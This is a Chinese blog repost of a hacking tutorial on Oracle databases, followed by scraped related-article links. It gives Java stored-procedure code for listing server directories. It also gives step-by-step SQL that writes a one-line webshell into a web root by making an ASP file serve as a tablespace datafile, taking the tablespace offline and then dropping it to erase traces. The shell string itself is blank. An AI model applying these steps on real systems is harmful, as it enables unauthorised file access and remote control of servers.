转载请标明:http://hi.baidu.com/hack_forensic   《关于oracle列目录的可行性测试》

经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章<>最后说,当然这个方法缺点就是你要知道WEB路径.少费话,直接贴code:

create global temporary table BLUEUSER.dirlist(

filename varchar2(255),

filesize number,

filedate date)

on commit delete rows;

/

create or replace and compile java source named DirList as

import java.io.*;

import java.sql.*;

public class DirList

{

public static void getList(String directory) throws SQLException

{

File path=new File(directory);

String[] fileList=path.list();

String fileName;

long fileSize;

long fileDate;

for (int i=0;i

{

fileName=fileList[i];

File fpath=new File(directory+’/'+fileName);

fileSize=fpath.length();

fileDate=fpath.lastModified();

#sql{insert into BLUEUSER.dirlist(filename, filesize, filedate)

values(:fileName,:fileSize,to_date(‘01/01/1970′,’mm/dd/yyyy’)+:fileDate/(24*60*60*1000))};

}

}

}

CREATE OR REPLACE PROCEDURE BLUEUSER.p_get_dir_list(i_directory IN VARCHAR2) AS

LANGUAGE JAVA NAME ‘DirList.getList(java.lang.String)’;

SQL> exec BLUEUSER.p_get_dir_list(‘/tmp’);

PL/SQL procedure successfully completed

select * from BLUEUSER.dirlist;

select * from BLUEUSER.dirlist where rownum<150;

select filename from BLUEUSER.dirlist where rownum<150;

select filename from BLUEUSER.dirlist;

truncate table BLUEUSER.dirlist;     好啊 要不然是追加.

测试环境:oracle 9+redhat

——————ORACLE 建立数据文件WriteWebShell———————

SQLJ   存储过程写文件也可以,逼于无奈对方机器不支持SQLJ  还有  UTL_FILE包也被干掉了?

那 也可以 使用以下我说的这个方式

SQL> create tablespace kjtest datafile ‘e:\website\kj.asp’ size 100k nologging ;

表空间已创建。

这里记住了  100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥

但是最终建议一句话一定要最最简洁

SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;

表已创建。

一般用 VARCHAR类型已经可以 ,表空间太小了 ,所以不可以 为 CLOB或者 BLOB类型。

SQL> insert into WEBSHELL values(‘’);

已创建 1 行。

SQL> commit;

提交完成。

提交完成之后就 OK? NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间

SQL> alter tablespace kjtest offline;

表空间已更改。

到这里 你的 一句话SHELL代码已经 写到 那个文件了

你会发现有这样的 的 代码

一句话shell已经OK了

最后使用后记得吧 表空间删除

SQL> drop tablespace kjtest including contents;

表空间已删除。

oracle 最小权限,oracle低权限下获取shell相关推荐

  1. oracle低权限下获取shell

    转载请标明:http://hi.baidu.com/hack_forensic   <关于oracle列目录的可行性测试> 经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj ...

  2. linux得到低权shell,oracle低权限下获取shell

    转载请标明:http://hi.baidu.com/hack_forensic   <关于oracle列目录的可行性测试> 经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj ...

  3. oracle用户获取datameta权限,Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程"缺陷" 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创 ...

  4. 安卓获取imei权限闪退_Android10 下获取序列号和IMEI号的权限

    介绍 Android10 因为提高了其安全性能,因此获取序列号和IMEI号的权限与以前的版本有了变化这里就举例Zebra 移动设备Android 10 系统下的如何获取相应权限.运行Android 1 ...

  5. oracle 最小权限,基础知识6——安全和最小权限原则

    数据库安全和最小权限原则 用户只拥有执行其任务所需的最小权限,并禁止所有未被允许的权限. 默认下SYS和SYSTEM拥有所有权限. 除了使用口令配置文件外,还需要遵循一些最佳实践,特别熟授予publi ...

  6. oracle数据库有哪些权限,ORACLE数据库中权限有哪些?

    1 权限 Oracle数据库有两种途径获得权限,它们分别为: ① DBA直接向用户授予权限. ② DBA将权限授予角色(一个命名的包含多个权限的集合),然后再将角色授予一个或多个用户. 使用角色能够更 ...

  7. oracle 授权 增删改查权限_linux suid,sgid,sticky-bit三种特殊权限简介

    三种特殊权限简介 SUID 当一个设置了SUID 位的可执行文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来执行这个文件,他都有文件所有者的特权. 如果所有者是 root 的话,那么执行人就 ...

  8. Oracle 用户、对象权限、系统权限

    一.用户与模式 用户:对数据库的访问,需要以适当用户身份通过验证,并具有相关权限来完成一系列动作SYS用户,缺省始终创建,且未被锁定,拥有数据字典及其关联的所有对象SYSTEM用户,缺省始终创建,且未 ...

  9. oracle 授权 传递,Oracle基础学习4--Oracle权限传递

    下面将用一个实例来讲解: 首先用oracle系统用户(sysdba身份)连接到Oracle 然后创建两个用户"lisi"和"zhangsan" 然后为lisi授 ...

最新文章

  1. php字符串加密解密源码,PHP中加密解密字符串函数源代码
  2. 整理一周的Python全品类资料包含100本电子书,还有独家实战项目源码公开!
  3. Oracle数据库adg数据没同步,Oracle 11g备库无法开启ADG的原因分析
  4. jzoj2700-数字【数论,LCM】
  5. React中判断已完成的个数
  6. 国科大高级人工智能笔记1-搜索
  7. 微信公众号“成为开发者”实践代码
  8. 容器技术Docker K8s 33 04-容器服务ACK基础与进阶-06-集群管理
  9. 网络安全等级保护三级产品清单整理
  10. 电脑图标出现蓝色问号解决方法
  11. 计算机网络原理 - 网络层、链路层总结笔记
  12. ERP与条码系统集成实现精益化可追溯
  13. 【37期】请你详细说说类加载流程,类加载机制及自定义类加载器
  14. 携程航班信息爬取(python)---第一次写博客,不好请别见外!
  15. 微信6.0 ActionBar样式
  16. 出书最多 [2021年12月 电子学会C语言编程等级考试二级真题解析]
  17. 【Proteus仿真】AT24C02数据读写+LCD1602显示
  18. 华为鸿蒙os下载安装,华为鸿蒙系统安装包
  19. 小程序--时间处理(显示几分钟前,,几小时前,,几天前...)
  20. html 表格自动排序,jQuery html表格排序插件tablesorter使用方法详解

热门文章

  1. 超强干货素材!制作平面设计专辑模板
  2. 不会手绘有福了!场景的插画素材帮你搞定!
  3. 护理在计算机的应用研究,计算机虚拟和模拟技术在护理实践教学中应用的研究...
  4. android 类型.this,Android中this的用法
  5. .anonymous springsecurity需要登陆嘛_springSecurity之java配置篇
  6. ssm如何在mapper插入实时的时间_第一个ssm整合
  7. How To Deploy OpenShift Container Platform 4.8 on KVM
  8. libvirt Installation
  9. 线上环境 Linux 系统调用追踪
  10. 大型企业用什么orm_在大型仓储物流企业中使用什么类型的货架更为合适呢?